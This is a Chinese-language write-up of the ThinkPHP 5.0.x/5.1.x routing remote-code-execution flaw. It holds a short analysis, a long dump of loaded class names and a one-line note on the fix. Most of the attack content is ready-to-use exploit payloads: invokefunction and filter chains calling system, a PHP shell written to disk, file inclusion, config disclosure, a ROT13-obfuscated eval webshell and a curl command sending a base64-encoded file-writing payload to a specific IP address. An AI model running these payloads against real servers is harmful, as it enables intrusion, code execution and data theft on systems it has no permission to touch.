漏洞简介
由于Thinkphp5.0.7-5.0.22
和5.1.0-5.1.30
默认关闭强制路由,并且我们可以得知兼容模式路由的调用参数为s
,因此可以通过?s=模块/控制器/方法名
的形式来调用任意方法,并且没有对调用的模块进行过滤,造成RCE
漏洞演示
5.1.x:
1 2 3 4 5
| ?s=index/\think\Request/input&filter[]=system&data=pwd ?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?> ?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?> ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
|
5.1.x:
1 2 3 4
| ?s=index/think\config/get&name=database.username # 获取配置信息 ?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件 ?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
|
漏洞分析
thinkphp/library/think/route/dispatch/Module.php
下打断点,这里使用dispatch()
方法获取路由信息
最后调用了exec函数,程序运用反射机制,调用类的方法,并且参数可控以及没有对控制器进行过滤。
有时用ThinkPHP5.1.X对ThinkPHP5.0.x的版本进行测试会不成功,原因是两大版本的加载类不同。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193
| ThinkPHP 5.1.x ThinkPHP 5.0.x stdClass stdClass Exception Exception ErrorException ErrorException Closure Closure Generator Generator DateTime DateTime DateTimeImmutable DateTimeImmutable DateTimeZone DateTimeZone DateInterval DateInterval DatePeriod DatePeriod LibXMLError LibXMLError DOMException DOMException DOMStringList DOMStringList DOMNameList DOMNameList DOMImplementationList DOMImplementationList DOMImplementationSource DOMImplementationSource DOMImplementation DOMImplementation DOMNode DOMNode DOMNameSpaceNode DOMNameSpaceNode DOMDocumentFragment DOMDocumentFragment DOMDocument DOMDocument DOMNodeList DOMNodeList DOMNamedNodeMap DOMNamedNodeMap DOMCharacterData DOMCharacterData DOMAttr DOMAttr DOMElement DOMElement DOMText DOMText DOMComment DOMComment DOMTypeinfo DOMTypeinfo DOMUserDataHandler DOMUserDataHandler DOMDomError DOMDomError DOMErrorHandler DOMErrorHandler DOMLocator DOMLocator DOMConfiguration DOMConfiguration DOMCdataSection DOMCdataSection DOMDocumentType DOMDocumentType DOMNotation DOMNotation DOMEntity DOMEntity DOMEntityReference DOMEntityReference DOMProcessingInstruction DOMProcessingInstruction DOMStringExtend DOMStringExtend DOMXPath DOMXPath finfo finfo LogicException LogicException BadFunctionCallException BadFunctionCallException BadMethodCallException BadMethodCallException DomainException DomainException InvalidArgumentException InvalidArgumentException LengthException LengthException OutOfRangeException OutOfRangeException RuntimeException RuntimeException OutOfBoundsException OutOfBoundsException OverflowException OverflowException RangeException RangeException UnderflowException UnderflowException UnexpectedValueException UnexpectedValueException RecursiveIteratorIterator RecursiveIteratorIterator IteratorIterator IteratorIterator FilterIterator FilterIterator RecursiveFilterIterator RecursiveFilterIterator CallbackFilterIterator CallbackFilterIterator RecursiveCallbackFilterIterator RecursiveCallbackFilterIterator ParentIterator ParentIterator LimitIterator LimitIterator CachingIterator CachingIterator RecursiveCachingIterator RecursiveCachingIterator NoRewindIterator NoRewindIterator AppendIterator AppendIterator InfiniteIterator InfiniteIterator RegexIterator RegexIterator RecursiveRegexIterator RecursiveRegexIterator EmptyIterator EmptyIterator RecursiveTreeIterator RecursiveTreeIterator ArrayObject ArrayObject ArrayIterator ArrayIterator RecursiveArrayIterator RecursiveArrayIterator SplFileInfo SplFileInfo DirectoryIterator DirectoryIterator FilesystemIterator FilesystemIterator RecursiveDirectoryIterator RecursiveDirectoryIterator GlobIterator GlobIterator SplFileObject SplFileObject SplTempFileObject SplTempFileObject SplDoublyLinkedList SplDoublyLinkedList SplQueue SplQueue SplStack SplStack SplHeap SplHeap SplMinHeap SplMinHeap SplMaxHeap SplMaxHeap SplPriorityQueue SplPriorityQueue SplFixedArray SplFixedArray SplObjectStorage SplObjectStorage MultipleIterator MultipleIterator SessionHandler SessionHandler ReflectionException ReflectionException Reflection Reflection ReflectionFunctionAbstract ReflectionFunctionAbstract ReflectionFunction ReflectionFunction ReflectionParameter ReflectionParameter ReflectionMethod ReflectionMethod ReflectionClass ReflectionClass ReflectionObject ReflectionObject ReflectionProperty ReflectionProperty ReflectionExtension ReflectionExtension ReflectionZendExtension ReflectionZendExtension __PHP_Incomplete_Class __PHP_Incomplete_Class php_user_filter php_user_filter Directory Directory SimpleXMLElement SimpleXMLElement SimpleXMLIterator SimpleXMLIterator SoapClient SoapClient SoapVar SoapVar SoapServer SoapServer SoapFault SoapFault SoapParam SoapParam SoapHeader SoapHeader PharException PharException Phar Phar PharData PharData PharFileInfo PharFileInfo XMLReader XMLReader XMLWriter XMLWriter ZipArchive ZipArchive PDOException PDOException PDO PDO PDOStatement PDOStatement PDORow PDORow CURLFile CURLFile Collator Collator NumberFormatter NumberFormatter Normalizer Normalizer Locale Locale MessageFormatter MessageFormatter IntlDateFormatter IntlDateFormatter ResourceBundle ResourceBundle Transliterator Transliterator IntlTimeZone IntlTimeZone IntlCalendar IntlCalendar IntlGregorianCalendar IntlGregorianCalendar Spoofchecker Spoofchecker IntlException IntlException IntlIterator IntlIterator IntlBreakIterator IntlBreakIterator IntlRuleBasedBreakIterator IntlRuleBasedBreakIterator IntlCodePointBreakIterator IntlCodePointBreakIterator IntlPartsIterator IntlPartsIterator UConverter UConverter JsonIncrementalParser JsonIncrementalParser mysqli_sql_exception mysqli_sql_exception mysqli_driver mysqli_driver mysqli mysqli mysqli_warning mysqli_warning mysqli_result mysqli_result mysqli_stmt mysqli_stmt Composer\Autoload\ComposerStaticInit81a0c33d33d83a86fdd976e2aff753d9 Composer\Autoload\ComposerStaticInit8a67cf04fc9c0db5b85a9d897c12a44c think\Loader think\Loader think\Error think\Error think\Container think\Config think\App think\App think\Env think\Request think\Config think\Hook think\Hook think\Env think\Facade think\Lang think\facade\Env think\Log env think\Route think\Db think\Lang think\Request think\facade\Route route think\Route think\route\Rule think\route\RuleGroup think\route\Domain think\route\RuleItem think\route\RuleName think\route\Dispatch think\route\dispatch\Url think\route\dispatch\Module think\Middleware think\Cookie think\View think\view\driver\Think think\Template think\template\driver\File think\Log think\log\driver\File think\Session think\Debug think\Cache think\cache\Driver think\cache\driver\File
|
一些trick
https://mp.weixin.qq.com/s/u_zhosHaBq2gXZsZZxfPjA
1
| _method=__construct&method=GET&server[]=1&filter[]=think\Build::module&get[]=index
|
1 2 3
| b=../public/./<?cuc riny(trgnyyurnqref()["pzq"]);?>&_method=__construct&filter=think\Build::moudle&a=1&method=GET b=php:
|
1
| _method=__construct&filter[]=json_decode&filter[]=get_object_vars&filter[]=think\Log::init&method=GET&get[]={"type":"File", "path":"/var/www/html/public/logs"}
|
1 2 3
| _method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=/var/www/html/public/ _method=__construct&filter[]=highlight_file&method=GET&get[]=/var/www/html/public/index.php
|
1
| curl --data "path=PD9waHAgZmlsZV9wdXRfY29udGVudHMoJ3N1cHBwLnBocCcsJ3N1cGVyIGd1ZXNzc3NlcnMnKTsgPz4=&_method=__construct&filter[]=set_error_handler&filter[]=self::path&filter[]=base64_decode&filter[]=\think\view\driver\Php::Display&method=GET" "http://101.32.184.39/?s=captcha&g=implode" --output - > a.html
|
漏洞修复
增加了正则的匹配